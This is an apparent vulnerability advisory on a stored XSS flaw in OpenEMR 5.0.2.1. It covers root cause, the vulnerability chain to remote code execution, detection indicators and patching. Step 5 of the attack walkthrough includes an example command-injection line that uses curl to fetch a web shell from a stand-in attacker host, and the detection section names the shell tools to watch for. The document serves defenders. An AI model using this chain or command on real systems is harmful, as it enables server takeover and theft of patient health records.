CVE-2021-47817: 
OpenEMR vulnerability analysis and mitigation

CVE-2021-47817 is a stored Cross-Site Scripting (XSS) vulnerability in OpenEMR 5.0.2.1 that allows authenticated attackers to inject malicious JavaScript through user profile parameters (specifically the lname field), which can be chained with a file upload to achieve remote code execution. The vulnerability was originally discovered and reported by SonarSource researchers on February 24, 2020, with patches released by the OpenEMR team in April and August 2020; the CVE was formally published on January 21, 2026. Only OpenEMR version 5.0.2.1 is confirmed affected. It carries a CVSS v3.1 base score of 5.4 (Medium) (VulnCheck Advisory, SonarSource Blog).

The root cause is improper neutralization of input during web page generation (CWE-79 — Stored XSS). In interface/usergroup/usergroup_admin.php, the lname POST parameter is stored directly in the database without sanitization; when an administrator later views the user info page (interface/usergroup/user_info.php), the unsanitized value is rendered into HTML without encoding, allowing injected <script> tags to execute. This XSS is part of a three-vulnerability chain: an insecure API permission bypass (CVE-2021-32101) allows an unauthenticated attacker to set the XSS payload in an admin's last name field via the Patient Portal API, and the resulting JavaScript execution in the admin's browser can then trigger a separate command injection vulnerability (CVE-2020-36243) in the backup feature, ultimately achieving pre-authenticated remote code execution. Exploitation requires the Patient Portal component to be active and an administrator to interact with the compromised profile (SonarSource Blog, Exploit-DB).

Successful exploitation of the full vulnerability chain can result in complete server compromise, including arbitrary OS command execution on the OpenEMR host. Because OpenEMR manages sensitive electronic health records (EHR) — including patient medications, lab values, diagnoses, and payment information — a compromise exposes protected health information (PHI) and creates significant HIPAA liability. Lower-privileged exploitation paths also enable SQL injection attacks (CVE-2021-32102, CVE-2021-32104) to exfiltrate patient data directly from the database, and the web shell deployment enables persistent access and potential lateral movement within the healthcare network (SonarSource Blog).

Multiple public proof-of-concept exploits are available, including a detailed technical write-up from SonarSource, an Exploit-DB entry (EDB-49784), and a demonstration video on YouTube. There is no confirmed evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.053%, reflecting low but non-zero exploitation probability. Exploitation of the full RCE chain requires authentication bypass via the Patient Portal API flaw and administrator interaction with the poisoned profile, making fully automated exploitation moderately complex (SonarSource Blog, Exploit-DB, VulnCheck Advisory).

1. Reconnaissance: Identify internet-facing OpenEMR 5.0.2.1 instances with the Patient Portal component enabled, using tools like Shodan or Censys.
2. Authentication Bypass via API: Send an HTTP request to portal/account/register.php to create a session with $_SESSION['register'] = true and $_SESSION['pid'] = true, bypassing the Patient Portal API authentication check without completing registration.
3. Inject XSS Payload into Admin Profile: Using the unauthenticated API session, send a crafted POST request to the Patient Portal user controller API to update the lname field of an administrator account with a malicious JavaScript payload (e.g., <script>/* payload to trigger backup command injection */</script>).
4. Trigger XSS Execution: Wait for the administrator to visit a page that renders the unsanitized lname field (e.g., the user info or password change page in interface/usergroup/user_info.php). The injected script executes in the admin's browser context.
5. Chain to Command Injection: The JavaScript payload crafts and submits a POST request to interface/main/backup.php with a malicious form_sel_layouts[] parameter containing backtick-enclosed OS commands (e.g., `curl http://attacker.com/shell.php -o /var/www/openemr/shell.php`).
6. Deploy and Execute Web Shell: The command injection downloads and places a web shell on the server. The attacker then accesses the web shell directly to execute arbitrary OS commands and maintain persistent access (SonarSource Blog, Exploit-DB).

• Network: Unexpected outbound HTTP requests from the OpenEMR server to external IPs (e.g., curl or wget calls initiated by the web server process); unusual POST requests to portal/account/register.php followed immediately by API calls without completing registration flow.
• Logs: Web server access logs showing requests to portal/account/register.php immediately followed by API requests to user controller endpoints without a completed registration; access logs showing POST requests to interface/main/backup.php with encoded or backtick-containing form_sel_layouts[] parameters; OpenEMR application logs showing admin user lname field updates containing HTML/script tags.
• File System: Unexpected PHP files (web shells) appearing in the OpenEMR web root or subdirectories (e.g., shell.php, cmd.php); new or modified files in interface/ or portal/ directories not associated with a legitimate update.
• Process: Unusual child processes spawned by the web server process (e.g., Apache/PHP spawning /bin/bash, curl, wget, or python); unexpected cron jobs or scheduled tasks created under the web server user account.

The OpenEMR team released patch version 5.0.2.2 in August 2020, addressing the XSS vulnerability by applying htmlspecialchars() output encoding to user-controlled fields rendered in HTML, and fixing the insecure API permission bypass and command injection issues. Organizations still running OpenEMR 5.0.2.1 should upgrade to 5.0.2.2 or later immediately. As interim mitigations, administrators should implement Content Security Policy (CSP) headers, restrict access to the Patient Portal component if not required, apply input validation and output encoding to all user profile parameters, and monitor for suspicious changes to admin user profile fields (SonarSource Blog, VulnCheck Advisory).

SonarSource researchers (Dennis Brinkrolf) published a detailed technical blog post in October 2020 highlighting the outsized risk of healthcare software vulnerabilities, noting that a compromised EMR system exposes PHI, creates HIPAA liability, and could disrupt patient care workflows. The researchers emphasized responsible disclosure, delaying full publication for several months after the patch was released. The OpenEMR team rated the fixes as critical and responded promptly with patches in April and August 2020 (SonarSource Blog).